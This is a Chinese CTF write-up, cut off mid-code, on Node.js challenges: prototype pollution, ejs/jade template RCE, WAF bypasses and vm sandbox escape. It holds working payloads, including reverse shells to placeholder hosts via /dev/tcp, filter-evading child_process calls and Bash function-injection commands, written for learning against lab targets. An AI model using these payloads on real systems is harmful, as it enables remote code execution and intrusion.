前言
最近打了一些比赛,发现JS在Web中的占比越来越大了,以前国内的比赛基本没出现过XSS这种东西,关于JS也就是一些低能Game,反倒是国外特别喜欢出JS,之前打过两场国外的比赛,都有XSS的题目,国内的CTF比赛也在朝这个方向发展,其实挺好的,PHP毕竟是快要被取代了的语言,我个人认为国内喜欢用PHP的特性出一些题目,对于实战来说并没有太大的用处,大多数的Web手都流向了渗透,只有极少部分的大师傅做到了安全研究员。一般的JS题目都会有源码附件,也算是变相提升一下代码审计的能力,目前我的代码审计还是依托答辩,当然这些都是题外话了,我们回归正题
Nodejs通常是和JS原型链污染一起出现的,JS原型链污染我很早就听说过了,但是当时PHP都整不明白更别提研究下原型链了,刚好前几天买了ctfshow的VIP,我就借助靶场来研究一下Nodejs的原型链
Node JS特性
Web334
题目给了附件
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
就是一个简单的登录验证,用户名和密码已经告诉我们了
username: 'CTFSHOW', password: '123456'
验证用户的核心代码就是这一句
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
要求用户的输入不能是CTFSHOW,name.toUpperCase()会把输入的用户名转为大写,那我们的思路就很清晰了,输入小写的ctfshow让他转为大写不就行了吗
Web335
打开环境,查看源码看到<!-- /?eval= -->,看到eval我们就可以大胆猜测这里应该是JS的代码执行,由于JS我纯小白,所以先看看JS代码执行有哪些payload
child_process模块
child_process模块是nodejs中用来执行命令的模块,Nodejs通过child_process模块来生成多个子进程用于处理其他的事物,child_process里面有七个方法可以用来命令执行
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);
上面六个方法都是基于spwan()方法,还有一个方法frok是运行另外一个子进程文件
有了这里的前置知识我们再回过头来看这道题,我们先试试第一条命令
我们再试试第二条命令,发现能成功执行,这是为什么呢?
因为exec是异步进行的,主程序不会等待子程序运行,他会继续向下运行,而execSync是同步的,主程序必须等待execSync命令结束以后才能继续向后运行,同理3,4的执行结果和1相同,5,6的执行结果和2相同
require("child_process").execSync("cat /app/f*");
Web336
和上一题一样,只不过过滤了exec这个关键词,我们绕过一下就好了,绕过方法有很多,我随便列几个出来
16进制绕过
第一种思路是16进制编码,原因是在nodejs
中,如果在字符串内用16进制,和这个16进制对应的ascii码的字符是等价
require("child_process")["exe\x63Sync"]("ls /")
unicode编码绕过
JavaScript
允许直接用码点表示Unicode字符,写法是”反斜杠+u+码点”,所以我们也可以用一个字符的unicode形式来代替对应字符,这应该算是JS的一种特殊属性了
console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("ls /")
加号拼接
加号在js中可以用来连接字符,所以可以这样
require('child_process')['exe'%2b'cSync']('ls /')
模板字符串
相关内容可以参考MDN,这里给出一个payload
模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。
require('child_process')[${
${exe
}cSync}
]('ls /')
concat连接
利用js中的concat函数连接字符串
require("child_process")["exe".concat("cSync")]("ls /")
base64编码
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
当然肯定不止这些绕过,但在这里足够了,随便选一种就可以了
Web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
这里用到的是Nodejs数组的特性,其实和PHP中的一样数组绕过就行了,这里就不多赘述了
Web344
也是nodejs的一种特性,我们先看代码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
我们正常传入的参数肯定是这样的
/?query={"name":"admin","password":"ctfshow","isVIP":true}
但是题目会过滤掉逗号,而且urlencode(",") = %2c
发现 2c
也被过滤,而且双引号url编码之后是%22,和后面的c也构成了过滤
第二个好办,关键是怎么绕过逗号呢?
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的,下面链接列举了一些
https://www.cnblogs.com/AtesetEnginner/p/12375499.html
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
Node JS原型链污染
原型链污染肯定是Node JS漏洞的重头戏了,前面的特性也是为原型链污染做的一些铺垫,在学习原型链污染之前我先要学习一些前置知识
0x01原型
我们先说原型是在哪里出现的,Javascript中一切皆是对象, 其中对象之间是存在共同和差异,对象之间肯定免不了继承,原型就是JavaScript中继承的基础,用一个不恰当的话来说,原型可以被认为是一个子类的父类,而且在JavaScript中所有类都有自己的原型,因为所有的类都是继承于Object原型,举个例子
所有的函数都有prototype
属性(显式原型)(仅限函数),所有引用类型(函数,数组,对象)都拥有__proto__
属性(隐式原型
在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype
指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor
指向了这个函数A。
在上面的例子中我们定义的函数Son并没有为他指向一个父类,但由于所有的类都是继承于Object原型,所以他的默认属性prototype
指向了Object,同理son对象也指向了Object,而且他们的关系是等价的
0x02原型链继承机制
可以看看P神的文章
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
function Father() {
this.first_name = 'yuyulin'
this.last_name = 'kinsomnia'
}
function Son() {
this.first_name = 'insomnia'
}
Son.prototype = new Father()
let son = new Son()
console.log(Name: ${son.first_name} ${son.last_name}
)
我们让Son类继承了Father类的属性,所以在调用son.last_name时,JavaScript引擎会进行如下操作
1.在son对象中寻找last_name
2.如果找不到就在原型son.__proto__中找
3.如果没找到就继续在原型son.__proto__.__proto__中找
4.直到找到null为止
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
0x03原型链污染机制
由于JavaScript的动态继承机制,我们可以通过修改原型来影响所有和这个对象来自同一个类、父祖类的对象。
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(Name: ${son.first_name} ${son.last_name}
)
在此代码的基础上我们加上这几行代码
let son1 = new Son()
console.log(son1.last_name)
son.__proto__.last_name = "yuyulin"
console.log(son1.last_name)
很显然最后的结果是这样的
我们改变了son.__proto__的属性,但是son1的属性也跟着发生改变了,这是因为他们的原型都是Father类
我们再看一个例子
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
这个例子就给我说明了原型链还可以污染到最顶层的Object类,从而让所有的子类都被污染
0x04漏洞利用
我们回顾一下刚才的主要操作,可以很明显的发现如果能够控制数组(对象)的键名就可以实现
我们创建一个简单的copy函数
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
正常情况下他会把object2中的值赋给object1,但是如果我们的键名是__proto__
呢,看下面一个例子
虽然我们将键名改为了__proto__
但是并没有跟我们预想的那样污染了Object类,这是为什么呢,看看P神的解释
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
copy(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
Web338
题目给了源码,首先是login.js
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
拿到flag的条件是secert.ctfshow==='36dboy'
但是纵观整个login.js都没有发现secert
有这个属性,而且也没给我们操作secert
类的机会,那我再看看common.js
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
这就是标准的原型链污染了,我们通过utils.copy(user,req.body);
将顶层的Object类污染,让他带有ctfshow属性,继承了Object类的secert
也会有同样的属性,就完成了验证
Web339
也给了源码,但是这次稍微有点不同
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
我们并不知道flag里面的内容,所以只能想办法RCE,这次的文件多了一个api.js
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
我们就要通过这里的匿名函数调用来实现RCE,具体怎么实现呢,先看看一个demo
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
user = {}
body = JSON.parse('{"__proto__":{"query":"return yuyulin"}}');
copy(user, body)
{ query: Function(query)(query)}
我们通过copy污染了Object类,query类继承了Object类所以他的值就是return 2333
,那为什么{ query: Function(query)(query)}
就是{ query: 2233 }
呢?
JavaScript里一切皆为对象,即 Function
对象传入构造函数里的前面参数是函数的形参,当然可以省略,最后的形参写函数体。
所以我们构造一个这样的payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8888 0>&1\"')"}}
为什么不用更简单的require呢,这里放一下别人的解释
因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。
当然这题还有别的解法,ejsRCE,这里我就直接上payload了
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}
Web340
和上一题的唯一区别就在这里
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
不难看出user.userinfo
的原型就不再是Object了,他的原型的原型才是Object
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"aaa":"123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.aaa);
我们可以用上面的代码测试一下,发现确实是两级__proto__
,最后的payload就显而易见了
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8888 0>&1\"');var __tmp2"}}}
上面的payload是ejsRCE,当然这个payload也是可以的
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}
Web341
和上一题的区别就是少了一个api.js,所以只能用ejs的RCE了,大致的原理就是ejs这个模板渲染里面存在RCE的利用点,我们可以通过原型链污染构造任意参数在这个利用点实现RCE
贴一张别人的图片
因为这个模板没有变,所以payload还是原来那个
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}
Web342
之前的都是ejs的RCE,这里是jade模板的RCE,相比之下jade的分析要难一点,但是核心思想不变,都是构造一个undefined的属性,然后在原型的属性构造payload(一般是最顶层的Object),这样就可以实现RCE了
这里直接放payload
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2233 0>&1\"')"}}}
针对普通的模板:只需要污染self和line.
h1 #{title}
p Welcome to #{title}
有继承的模板: 需要污染type
顶格的h= title
类型的: 污染block属性(title,name这些模板变量)
h1= title
p hello #{name}
顺便记录一下其他的payload
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}
{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}
Web343
多了个过滤,但是没什么用
JSON.stringify(req.body).match(/Text/ig)
一样的payload直接打就好了
Newstart【OtenkiGirl】
这一题其实和Web338是一样的思路,只是逻辑稍微复杂一点而已,题目给了源码,先审计一下
app.js
app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
app.listen(PORT, () => {
console.info(Server is running at port ${PORT}...
);
})
module.exports = app;
app.js里面倒是没什么,转到/routes/info.js,关键点有两个
一是:
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?
, [timestamp]).catch(e => { throw e });
return data;
}
他给了我们一个暗示,上线之前删除了测试数据,这里的数据很有可能就是我们的flag
再看关键代码
let minTimestamp = new Date(CONFIG.min_public_time ||
DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
因为CONFIG.min_public_time
的值为空,所以minTimestamp
只会是DEFAULT_CONFIG.min_public_time
里面的值
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}
即是说我们要污染的参数是min_public_time: "2019-07-09"
,让他的值小于默认值即可
二是:
router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}
try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
创建了一个/info路由,先是检测content-type
,然后通过getInfo
查询数据,所以我们最后就要从这个路由获取到flag
现在就要寻找原型链污染的点,我们继续看submit.js,看到这一串熟悉的代码
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
这是原型链污染的老朋友了,继续跟进调用他的地方
const result = await insert2db(merge(DEFAULT, data));
data是我们控制的输入,从这里就可以污染Object类,而CONFIG.min_public_time
因为找不到min_public_time
属性就会向原型中继续寻找,被污染之后的Object刚好有构造的min_public_time
从而达到控制时间的目的
payload
{"date":"a","place":"a","contact":"a","reason":"a","timestamp":1701179389132,
"__proto__":{"min_public_time":"1010-01-01"}}
POST访问/info路由即可
本来Newstart还有一个原型链的,奈何有点超出我的能力范围了,暂时挖个坑吧
DASCTF X 0psu3[realrce]
有源码,先下下来审一审,因为有个waf的白名单太长了,我就不放全部代码了,只放关键部分
app.post('/', function (req, res) {
let msg = req.body.msg;
let msgString = convertToString(msg);
if (!waf(msgString)) {
try {
const msg_rce = {};
merge(msg_rce, msg);
if (cmd_rce && Door_lock(cmd_rce)) {
try {
const result = proc.execSync(cmd_rce.replace(/\r?\n/g,"").replace(/[a-zA-Z0-9 ]+=[a-zA-Z0-9 ]+/g,"114514").replace(/(\$\d+)|(\$SHELL)|(\$_)|(\$\()|(\${)/g,"114514").replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514"));
res.render('index', { result });
} catch (error) {
res.render('index', { error: error.message });
}
} else {
res.render('index', { result: "this is a lock" });
}
} catch (error) {
res.render('index', { result: "无事发生" });
}
} else {
res.render('index', { result: "this is a waf" });
}
})
先进第一层waf
function waf(input_code) {
bypasspin = /%[0-9a-fA-F]{2}/i;
const bypasscode = bypasspin.test(input_code);
if (bypasscode) {
try {
return waf(decodeURIComponent(input_code));
} catch (error) {
console.error("Error decoding input: ", error);
return false;
}
}
const blacklist = [/__proto__/i, /constructor/i, /prototype/i];
for (const blackword of blacklist) {
if (blackword.test(input_code)) {
return true;
}
}
return false;
}
我们能操作原型链的属性全部被ban掉了,只能换一种思路,我们看到返回false的地方有两处,一处是捕获异常,宁一处就是匹配关键字了,只要让bypasscode
为false就可以了,bypasscode
实际上就是进行了一个url解码操作,我们只要超出他解码的范围就好了比如%dd
过了第一层waf之后就会遇到我们的老朋友merge了,再看第二层waf
function Door_lock(cmd) {
pin = /^[a-z ]+$/;
key = LockCylinder(cmd);
if (pin.test(key[0]) && check_cmd(cmd.replace(/\s*/g, ""))) {
return true;
} else {
return false;
}
}
这里要求我们输入的cmd_rce的第一个字符串是字母数字之类的,实现的函数呢就是这里的LockCylinder
function LockCylinder(input, blackchr = ["&&", "||", "&", "|", ">", "*", "+", "$", ";"]) {
const resultArray = [];
let currentPart = "";
for (let i = 0; i < input.length; i++) {
const currentChar = input[i];
if (blackchr.includes(currentChar)) {
if (currentPart.length > 0) {
resultArray.push(currentPart);
currentPart = "";
}
} else {
currentPart += currentChar;
}
}
if (currentPart.length > 0) {
resultArray.push(currentPart);
}
return resultArray;
}
影响不大,我们主要看这一个函数
function check_cmd(cmd) {
const command = ["{", ";", "<>", "`", "'", "$", "if", "then", "else"]
const eval_chr = ["<", ">"];
for (let i = 0; i < command.length; i++) {
if (cmd.includes(command[i] + '&') || cmd.includes('&' + command[i]) || cmd.includes(command[i] + '|') || cmd.includes('|' + command[i]) || cmd.includes(';' + command[i]) || cmd.includes('(' + command[i]) || cmd.includes('/' + command[i])) {
return false;
}
}
for (let j = 0; j < eval_chr.length; j++) {
if (cmd.includes(eval_chr[j])) {
return false;
}
}
return true;
}
这里的command过滤了很多,但是篇幅原因就只截下来了一小点
这里检测的是我们的cmd_rce里面的命令是否拼接了&,|,;,\
等字符串,有的是匹配前拼接,有的是匹配后拼接
因此想要执行命令需要找到一个只需要字母的命令来完成命令执行cat、base之类的命令读文件不需要-
之类的参数但是由于只允许字母的使用所以没有办法读取当前路径外的文件
作者的预期解是用P神的环境变量注入,直接上文章的payload
Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
最后的payload就是这样的
{
"msg": {
"name": "%ff",
"age": 25,
"city": "Example City",
"__proto__": {
"cmd_rce":"env $'BASH_FUNC_echo%%=() { cat /flag;}' bash -c 'echo 123'"
}
}
}
但是有只读环境变量的非预期
{
"msg": {
"__proto__": {
"cmd_rce": "env",
"tingshuitingdiandaxue": "%dd"
}
}
}
NodeJS沙箱逃逸
这也是最近我才知道的一个漏洞,也是第一次明确沙箱逃逸的概念,就用一道题来做例子吧
0x01什么是沙箱逃逸
要了解沙箱逃逸的概念首先要了解什么是沙箱,当我们运行一些可能有危害的程序,我们不能直接在主机的真实环境下运行,所以开辟出一个单独的环境来运行这个程序,这样产生的危害就只会在沙箱中,而不会影响到主机,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。
听起来很像docker,但是和docker有一点区别,Docker属于sandbox的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用Docker和sandbox嵌套的方式更多一点,安全性也更高。
看到这里沙箱逃逸的基本概念就很明确了,我们通过某种手段将sandbox中的危险程序越界执行,即是说要影响到我们的主机才行
0x02Nodejs作用域
作用域,这个听起来很陌生的名词,其实每种语言都是存在的,只是叫法不一样罢了,通常我们都是说某个变量的作用范围,Nodejs中的作用域也是这个意思,但是又不完全一样
以python来举个例子,假如我有一个python文件code.py
age = 18
name = "yuyulin"
此时我在另一个文件里面引用它,那么我们就可以引用其中的变量了
import code
print(code.name)
print(code.age)
我们知道在nodejs中引用其他的文件用的是require,我们把被引用的文件叫做包,每一个包都有一个自己的上下文,包之间的作用域是互相隔离不互通的,直接看例子
eval.js
var age = 18
var name = "yuyulin"
Node给我们提供了一个将js文件中元素输出的接口exports
,上述代码只要稍作修改就可以了
var age = 18
var name = "yuyulin"
exports.age = age
exports.name = name
好了,作用域的概念大致了解了,那接下来就该介绍一下今天的主角vm模块了
0x03vm沙箱逃逸
vm模块的运作原理就是创建一个新的作用域,让代码在这个新的作用域里面执行,这样就实现了隔离,先看一下vm模块的几个常用的API
vm.runinThisContext(code)
:在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。
const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'
vm.createContext([sandbox])
:在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
vm.runInContext(code, contextifiedSandbox[, options])
:参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
vm.runInNewContext(code[, sandbox][, options])
:creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。
vm.Script类
:vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
new vm.Script(code, options)
:创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }
沙箱逃逸的最终目的就是能够RCE,我们知道在Node里面RCE需要process,但是process是挂载在global上的,我们上面又说了在creatContext
后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。
如果我们把代码改成这样(code参数最好用反引号包裹,这样可以使code更严格便于执行):
"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(this.constructor.constructor('return process.env')()
);
console.log(y1);
vm.runInNewContext(this.constructor.constructor('return process.env')()
);
那么我们是怎么实现逃逸的呢,这里面的this指向的是当前传递给runInNewContext
的对象,这个对象是不属于沙箱环境的
访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量
下面这行代码也可以达到相同的效果:
const y1 = vm.runInNewContext(this.toString.constructor('return process')()
);
然后我们就可以RCE了
y1.mainModule.require('child_process').execSync('whoami').toString()
我们再看看这一个问题
const vm = require('vm');
const script = m + n
;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
如果this为null该怎么办呢,可以把他换为其他对象吗,当然可以,只不过对于对象的类型有要求,数字,字符串,布尔这些都是primitive类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参)
const vm = require('vm');
const script = `(e=>{
const rce = n.toString.constructor('return process')()
return rce.mainModule.require('child_process').execSync('whoami').toString()
})()`;
const sandbox = { m: [], n: {},x:/regexp/ };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
把this换成m,n,x中任意一对象都能RCE
0x04vm沙箱逃逸的其他情况
如果我们遇到了这样的情况
const vm = require('vm');
const script = ...
;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
this为null,也没用可引用的对象我们又该怎么办呢,这时候就要引入一个新的知识点了
arguments.callee.caller
:这是函数中内置对象的属性,它可以返回函数的调用者,只不过在JavaScript中是一个被废弃的属性
通过上面的几个例子我们知道vm沙箱逃逸的核心思想是找一个沙箱外的对象,并调用他的方法。有了arguments.callee.caller
我们就可以找到一个沙箱外的对象了,实现很简单,我们在沙箱里定义一个函数,在沙箱外调用它arguments.callee.caller
不久就会返回沙箱外的对象了吗
const vm = require('vm')
const script = `(()=>{
const a = {}
a.toString = function (){
const insendbox =arguments.callee.caller
const func = insendbox.toString.constructor('return process')()
return func.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const rce = vm.runInContext(script, context);
console.log('a.toString:' + rce)
我们打个断点看看insendbox
我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller
获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。
如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy
来劫持属性
Proxy这东西我第一次见到还是在新生赛的某一道JS题,没想到沙箱逃逸还能遇到
const vm = require("vm");
const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)
触发利用链的逻辑就是我们在get:
这个钩子里写了一个恶意函数,当我们在沙箱外访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行,实现了rce。
如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值应该怎么进行逃逸呢?
我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出:
const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}
这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
0x05例题
0xGame2023[ez_sendbox]
这题有源码,先分析源码
const crypto = require('crypto')
const vm = require('vm');
const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')
var app = express()
app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))
var users = {}
var admins = {}
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(source) {
return merge({}, source)
}
function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
